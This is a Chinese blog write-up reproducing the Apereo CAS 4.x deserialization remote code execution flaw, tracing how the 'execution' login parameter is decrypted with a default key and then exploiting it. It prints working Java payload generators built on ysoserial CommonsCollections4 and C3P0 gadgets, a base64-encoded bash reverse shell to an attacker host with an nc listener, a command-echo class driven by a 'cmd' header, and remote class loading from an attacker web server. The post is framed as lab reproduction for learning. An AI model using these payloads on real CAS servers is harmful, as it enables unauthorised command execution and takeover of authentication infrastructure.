zoukankan      html  css  js  c++  java
  • Apereo Cas4.x 反序列化漏洞复现之复现分析与利用

    前言

      接上一章调试环境搭建。本章将展开对Apereo Cas4.x详细分析和利用

    一、调试分析

    Apereo Cas 4.1.X~4.1.6

     抓取登录数据包

     

      Apereo CAS具体开发框架流程咱也不熟悉,从数据包中就关注两点:POST传参和execution;

    刚好做过简单的javaweb开发,知道在servlet层会存在doPost()方法接收request请求。

    那么首先需要找到doPost()所在类,才能往下追踪值的传递,而execution被封装在request请求中,追踪request传递即参数提取动作即可。

    根据已搭建好的运行环境,Debug模式运行

    在登录页面随便输入账号密码进行登录

     

      接着F7进去查看,调用了processRequest方法,request请求继续丢给doService()方法处理,此处doService()下个断点,F9立刻跳到当前下的断点

     

      F7跟进去查看,发现调用了DispatcherServlet类的doService方法

     

      标个断点继续往下跟,request经过checkMultipart处理返回给processedRequest,盯着它processedRequest,在下面调用了handle()方法进行处理

     

     

     跟进去发现引用的是FlowHandlerAdapter类的handle方法,这里关注调用的getFlowExecutionKey()和resumeExecution()方法

     

      通过getFlowExecutionKey(request)方法获取前端post传来的execution的值

    FlowExecutionResult result = this.flowExecutor.resumeExecution(flowExecutionKey, context);

    调用了resumeExecution()方法进行处理flowExecutionKey,继续跟进该方法

     

      resumeExecution为FlowExecutorImpl实现类的方法。

    方法中先调用了parseFlowExecutionKey方法处理

    跟进查看parseFlowExecutionKey

     

      继续跟进查看parse方法,发现通过”_”字符分割字符串flowExecutionKey为uuid和base64编码的两部分内容,最后查看返回值是我们追踪的数据

    FlowExecutionKey key = this.executionRepository.parseFlowExecutionKey(flowExecutionKey);

     

      接着看getFlowExecution方法,通过getData()函数将key转成字节流,丢到decode方法解密处理

     

      ClientFlowExecutionRepository.SerializedFlowExecutionState state = (ClientFlowExecutionRepository.SerializedFlowExecutionState)this.transcoder.decode(encoded);

    查看decode(),调用Decrypt方法解密,最后通过readObject读取对象进行反序列化输出,触发漏洞。

     

      存在默认的加密密钥

     

     

     

      当前类中同时定义了encode()方法,攻击者可通过它生成恶意对象。

     

      整个解密执行过程大概酱紫:

     

      通过encode方法生成加密的字节数组并进行base64编码,头部拼接随机生成uuid值,因为存在默认的加密密钥值,导致攻击者可伪造execution值;而项目依赖库中存在commons-collections4-4.0.jar,该版本存在反序列化漏洞,通过精心构建execution值,可实现远程命令执行。

    Aperao Cas 4.1.7~4.2.X

    直到org.jasig.spring.webflow.plugin.EncryptedTranscoder#decode方法的流程都一样,在加解密部分发生了变化,直接上图:

     

      查看cas.properties文件,看到4.2.7版本中并不存在默认的key,且名称也发生变化,用的是webflow.encryption.key和webflow.signing.key

     

      在BinaryCipherExecutor类中,检查这两个值,当不存在的时候,就会随机生成加密的key

    感兴趣可以在这里下断点看看生成的key和singkey

     

      当decode时候,可以看到它随机生成的16位key

     

    二、漏洞利用

    4.1.x~4.1.6

    (1)远程命令执行

    根据前面的过程分析,随机生成uuid

    因为漏洞项目中存在commons-collections4-4.0.jar,所以需要调用ysoserial中的CommonsCollections4文件,引用的时候直接定义变量,赋值该类名即可

     

      确定payload类型后与要执行的命令通过makePayloadObject方法生成恶意对象

    借助org.jasig.spring.webflow.plugin. EncryptedTranscoder#encode方法将恶意对象序列化并进行加密、编码,拼接uuid组成恶意的execution值,发包达到命令执行效果。

     

     

      生成Payload的 代码:

    public class app{
    public static void main(String[] args) throws IOException {
    try {
    String type = "CommonsCollections4";
    String command = "cmd.exe /c calc.exe";
    String id = UUID.randomUUID().toString();
    Object obj = ObjectPayload.Utils.makePayloadObject(type, command);
    EncryptedTranscoder et = new EncryptedTranscoder();
    byte[] code = et.encode(obj);
    String payload = Base64.getEncoder().encodeToString(code);
    String data = URLEncoder.encode(id + "_" + payload, "UTF-8");
    System.out.println(data);
    } catch (Exception e) {
    System.out.println(e.getMessage());
    }
    }

    (2)Linux下,反弹shell

    在线工具(http://www.jackson-t.ca/runtime-exec-payloads.html)生成反弹shell

     

    其中192.168.3.35为模拟公网上的攻击机,6666为端口号

    将生成的bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMzUvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}再转成payload

     

      先在192.168.3.35机子上开启监听

    Kali上nc -lvp 6666

    接着放包

     

      反弹成功。

     (3)命令执行并回显

     

     根据大佬的说法以及对比网上大佬提供的代码

    可以看成三部分

     

     代码:

    public class CasExp{
    public CasExp() throws IOException{
    ExternalContext externalContext = ExternalContextHolder.getExternalContext();
    Object request = externalContext.getNativeRequest();
    Object response = externalContext.getNativeResponse();
    HttpServletRequest httpServletRequest = (HttpServletRequest)request;
    HttpServletResponse httpServletResponse = (HttpServletResponse)response;
    String Command = httpServletRequest.getHeader("cmd");

    Process proc = Runtime.getRuntime().exec(Command);
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(proc.getInputStream(), "utf-8"));
    StringBuffer stringBuffer = new StringBuffer();
    String line;
    while ((line = bufferedReader.readLine()) != null){
    stringBuffer.append(line).append(" ");
    }
    String result = stringBuffer.toString();

    ServletOutputStream servletOutputStream = httpServletResponse.getOutputStream();
    servletOutputStream.write(result.getBytes());
    servletOutputStream.flush();
    servletOutputStream.close();

    }
    }

    第一是获取request请求,解析包中的自定义属性cmd

    然后去exec执行。因为第一次接触,不熟悉它的用法,然后*度学习exec用法,再单独写个方法去测试。

     

      最后部分就是获取exec执行结果返回servlet层,response到前端。

     接着要如何引用CasExp类?

    将payloadsutilGadgets.java文件createTemplatesImpl方法中的StubTransletPayload改成自定义的CasExp,注释这里的cmd操作

     

      下面简单去分析一下,先从前面的自定义的main开始

     

      使用ObjectPayload.Utils.makePayloadObject方法生成对象,跟进查看(选中makePayloadObject方法ctlr+鼠标左键单击)

    可以看到payloadType就是我们传的“CommonsCollections4”(CC4),调用ysoserial中存在的该类

     

      通过newInstance方法实例化CC4,所以下面的getObject方法是CC4中的,用的不是当前所在类的类方法

    查看getObject方法, 通过Gadgets.createTemplatesImpl创建templates类存储危险的代码

     

      跟进

     

      获取ClassPool 容器,在容器中添加我们自定义的CasExp类,从而生成恶意的对象。

    分析结束,试试漏洞回显之旅

    Command变量空字符即可

     

      在请求头中添加cmd:命令,cmd:ipconfig

     

    4.1.7~4.2.x

    既然加密方法调用不一样,先断点调试ysoserial中的encrypt方法用的是?

     

      毫无疑问明显不能直接用了

    Key随机生成,只能自己先编码生成,然后写到cas.properties文件中才行(这个漏洞有点鸡肋了,除非通过任意文件下载cas.properties获取密钥)

    在BinaryCipherExecutor中verifyAndSetKeys方法中生成key行代码下断点,debug到断点处,将生成的signingKeyToUse和encryptionSecretKey拿出来。

     

      写入靶机配置文件中

     

      这两项虽然对结果没有影响,为方便测试还得设置了它支持http

     

      将项目部署在tomcat中运行。(不会打包就网上直接下载cas-server-webapp-4.2.7项目源码,丢到webapps下面行了。如果自己打包的war,在tomcat下直接跑会报错,需要将cas.properties文件拷贝到项目的WEB-INF目录下,同时修改propertyFileConfigurer.xml文件中的location,指向cas.properties)

     

      开始复现,根据加解密规则,写了段代码

       public static void main(String[] args) throws IOException {
            try {
                String type = "C3P0";
                String command = "http://192.168.200.106:6666/:CasExp42x";
                String id = UUID.randomUUID().toString();
                Object obj = ObjectPayload.Utils.makePayloadObject(type, command);
                BinaryCipherExecutor binaryCipherExecutor = new BinaryCipherExecutor("gJAmUFnxIsPKZDMF", "U0wsU1tdvKo-tsWEe5cGx6egiSgnIZF9DxH-OPFxfYN1ko8GVsSfUt5DIGMMznMLyKM1ZHgefsRfL7rpxlu_Xg");
                ByteArrayOutputStream outBuffer = new ByteArrayOutputStream();
                ObjectOutputStream out = null;
                try{
                    out = new ObjectOutputStream(new GZIPOutputStream(outBuffer));
                    out.writeObject(obj);
                }finally {
                    if (out != null) {
                        out.close();
                    }
                }
                byte[] btobj = outBuffer.toByteArray();
                byte[] code = binaryCipherExecutor.encode(btobj);
                String payload = Base64.getEncoder().encodeToString(code);
                String data = URLEncoder.encode(id + "_" + payload, "UTF-8");
                System.out.println(data);
            } catch (Exception e) {
                System.out.println(e.getMessage());
            }
        }

    BinaryCipherExecutor构造器中的两个参数为cas.properties文件中webflow.encryption.key、webflow.signing.key的值。

    因为该版本没有CommonsCollections4包了,而存在C3P0包,所以通过它进行利用,里面的IP为假定的公网服务器IP(这里是我的kali),端口随意,不冲突即可,端口后面的CasExp42x为kali上的一个class文件

    为什么command的值要这种格式?

    查看payloads下C3P0文件,可以看到以最后一个冒号切割字符串,获取攻击者的公网ip和类名(实例化恶意对象执行命令)

     

      将CasExp42x.java编译

     

     

       代码:

    public class CasExp42x {
        public CasExp42x(){
            try {
                java.lang.Runtime.getRuntime().exec(
                    new String[]{"cmd.exe","/C","calc.exe"}
                );
            } catch(Exception e){
                e.printStackTrace();
            }
        }
        public static void main(String[] argv){
            CasExp42x e = new CasExp42x();
        }
    }

    然后将CasExp42x.class文件拷贝到kali中

     

      注意:要使用BinaryCipherExecutor类必须导入cas-server-core-util-4.2.7.jar包,而ysoserial中默认没有,所以以防其它错误,干脆将apereo cas4.2.7项目中的lib复制到ysoserial根目录下

     

      然后在idea中导入这些依赖包,不会导的看前面的环境搭建内容。

    运行app文件,生成execution值

     

      在kali上监听开设的http服务端口6666

    Python3 -m http.server 6666

     

      接着抓包替换execution值,发送

     

     成功远程加载kali上的CasExp42x.class文件

    可以看到监听记录有

     

      

    踩坑:

    1、一开始根据vulhub上的方式复现,生成的ch0mieBy文件,以为是在靶机上根盘下的二级子目录tmp下

     

      还以为是命令执行不成功,但尝试反弹shell命令又能被成功执行。。。。

    所以猜想此tmp非彼tmp

    反手就来个find查询找正主

    Find / -name ch0mieBy

     

      好家伙,原来是这个tmp。

    2、过程中,有监听记录,但计算机并没有弹出来

     

      去查看,tomcat日志文件

     

      提示找不到路径。神奇,竟然会有我本地ysoserial项目的路径信息

    排查结果是class文件有问题,回头看CasExp42x.java代码

     

      因为CasExp42x.java文件直接在idea中创建的,所以包含了项目路径:

    package ysoserial.ApereoCasAttack.exploit

    删掉,重新生成class文件替换即可。

    如有不对的地方,望各位大佬指正。

    欢迎各位大佬关注公众号”Fighter安全团队“

    文章都是第一时间发布至公众号,让我们共同学习相互进步

    参考链接

    http://0kam1.top/index.php/2020/08/01/29/

    https://www.freebuf.com/vuls/226149.html

    https://www.anquanke.com/post/id/198842

    http://www.vuln.cn/6295

    https://www.00theway.org/2020/01/04/apereo-cas-rce/

    大佬的世界,我想去看看
  • 相关阅读:
    【Android】给Android Studio设置代理
    Android studio如何使用SVN进行版本控制?
    Android studio
    nohup java -jar 启动java项目
    Linux命令发送Http GET/POST请求
    Java 读取配置文件的几种方式
    java -jar 报错 Error: A JNI error has occurred, please check your installation and try again
    java.net 发送http请求
    textarea高度自适应
    webrtc切换媒体设备
  • 原文地址:https://www.cnblogs.com/gychomie/p/14406485.html
Copyright © 2011-2022 走看看